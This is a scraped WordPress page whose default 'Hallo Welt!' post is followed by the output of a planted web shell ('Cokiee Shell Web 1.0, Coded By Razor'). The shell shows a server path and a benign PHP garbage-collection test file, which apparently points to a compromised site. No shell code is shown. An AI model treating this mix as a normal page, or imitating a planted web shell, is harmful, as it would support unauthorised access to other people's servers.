Willkommen bei WordPress. Dies ist dein erster Beitrag. Bearbeite oder lösche ihn und beginne mit dem Schreiben!
Hallo Welt!
von raredesign | Dez 3, 2019 | Allgemein | 0 Kommentare
Cokiee Shell
Current Path : /usr/local/src/php7/php-7.0.5/Zend/tests/ |
Current File : //usr/local/src/php7/php-7.0.5/Zend/tests/bug60139.phpt |
--TEST-- Bug #60139 (Anonymous functions create cycles not detected by the GC) --INI-- zend.enable_gc=1 --FILE-- <?php class Foo { public $x; public function __construct() { $this->x = function() {}; } } class Bar { public $x; public function __construct() { $self = $this; $this->x = function() use ($self) {}; } } gc_collect_cycles(); new Foo; var_dump(gc_collect_cycles()); new Bar; var_dump(gc_collect_cycles()); ?> --EXPECT-- int(2) int(2)
Cokiee Shell Web 1.0, Coded By Razor
Neueste Kommentare